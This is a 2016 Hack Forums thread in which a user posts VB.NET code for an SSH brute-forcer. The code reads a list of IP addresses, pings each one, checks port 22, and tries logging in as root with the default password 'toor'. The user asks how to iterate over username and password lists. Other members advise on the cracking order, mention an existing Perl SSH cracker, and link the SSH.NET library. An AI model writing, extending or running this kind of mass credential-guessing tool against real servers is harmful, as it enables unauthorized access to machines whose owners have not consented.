

# Forum:[Hack Forums](#)

Thread: [brute force SSH](#)

**SharoKurdi** - December 8, 2016, 5:05 pm

hello

i want make brute force With list user and Password For SSH how To Do ?

i Coded This

Code Imports System.Net.Sockets

Public Class Form1

Dim thread As System.Threading.Thread

Dim i As Integer

Dim TcpPortscan As New TcpClient

Private Sub OpenFileDialog1\_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk

Dim strm As System.IO.Stream

strm = OpenFileDialog1.OpenFile()

TextBox2.Text = OpenFileDialog1.FileName.ToString()

If Not (strm Is Nothing) Then

strm.Close()

End If

End Sub

Private Sub Button1\_Click(sender As Object, e As EventArgs) Handles Button1.Click

thread = New System.Threading.Thread(AddressOf sharo)

Me.thread.Start()

End Sub

Private Sub sharo()

For Each line As String In RichTextBox1.Lines

TextBox1.Text = line

Try

If My.Computer.Network.Ping(line) Then

Try

Dim PortOpen As Boolean = TCP\_Port\_Open(line, Integer.Parse(22))

If PortOpen Then

Dim connInfo As New Renci.SshNet.PasswordConnectionInfo(TextBox1.Text,  
"root", "toor")

Dim sshClient As New Renci.SshNet.SshClient(connInfo)

Using sshClient

Try

sshClient.Connect()

Catch ex As Exception

End Try

If Not sshClient Is Nothing AndAlso sshClient.IsConnected Then

ListBox1.Items.Add("ip : " + line + "|" + "Work With : " + "ROOT|ROOT" +  
Environment.NewLine)

sshClient.Disconnect()

Else

ListBox1.Items.Add("ip : " + line + "|" + "NotWork password" +  
Environment.NewLine)

sshClient.Disconnect()

End If

End Using

Else

ListBox1.Items.Add("ip : " + line + "| port 22 not open" + Environment.NewLine)

End If

Catch ex As Exception

End Try

Else

ListBox1.Items.Add("ip : " + line + "| ip not Work" + Environment.NewLine)

End If

Catch ex As Exception

End Try

Next

```
TextBox1.Text = ""  
End Sub
```

```
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load  
    Control.CheckForIllegalCrossThreadCalls = False
```

```
End Sub
```

```
Private Function TCP_Port_Open(ByVal ip As String, ByVal port As Integer) As Boolean  
    Dim TcpPortscan As TcpClient = Nothing  
    Try  
        TcpPortscan = New TcpClient(ip, port)  
        Return True  
    Catch ex As Exception  
        Return False  
    Finally  
        If TcpPortscan IsNot Nothing Then TcpPortscan.Close()  
    End Try  
End Function
```

End Class

Thnx

**Mr.TwEaK** - December 8, 2016, 5:18 pm

I don't think anyone is going to help you. You should try to organize your code and maybe provide the library your using or a reference to it so other can see what problem your having. Your lack of knowledge intrigues me nonetheless be more detailed.

**SharoKurdi** - December 8, 2016, 5:47 pm

(Dec 8, 2016 06:18 PM)Mr.TwEaK Wrote: [\[CITE\]](#) I don't think anyone is going to help you. You should try to organize your code and maybe provide the library your using or a reference to it so other can see what problem your having. Your lack of knowledge intrigues me nonetheless be more detailed.

i have 2 list Of Username And password

When ip Checked Port 22  
get Line 1 in user list And Check all password list and When Finish go to line 2 in user list And Check All password

Code Dim connInfo As New Renci.SshNet.PasswordConnectionInfo(TextBox1.Text, user list, password list)

**Geekie** - December 8, 2016, 7:45 pm

(Dec 8, 2016 06:47 PM)SharoKurdi Wrote: [\[CITE\]](#) i have 2 list Of Username And password

When ip Checked Port 22

get Line 1 in user list And Check all password list and When Finish go to line 2 in user list And Check All password

Code Dim connInfo As New Renci.SshNet.PasswordConnectionInfo(TextBox1.Text, user list, password list)

You should do a backwards cracker, do each username toward the password. then go to the next user item.

**Alprazolam?** - December 8, 2016, 7:47 pm

Theres already an ssh cracker made in perl and its multi threaded, not really worth making but gl anyways if you still wanna try it.

**GruntStyl** - December 8, 2016, 11:03 pm

Are you purposely trying to make this yourself to market Or just for personal use? Like the user above me stated there is already tool(s) that do this.

**mrkoolaid** - December 8, 2016, 11:22 pm

This has never failed me before, <https://github.com/sshnet/SSH.NET>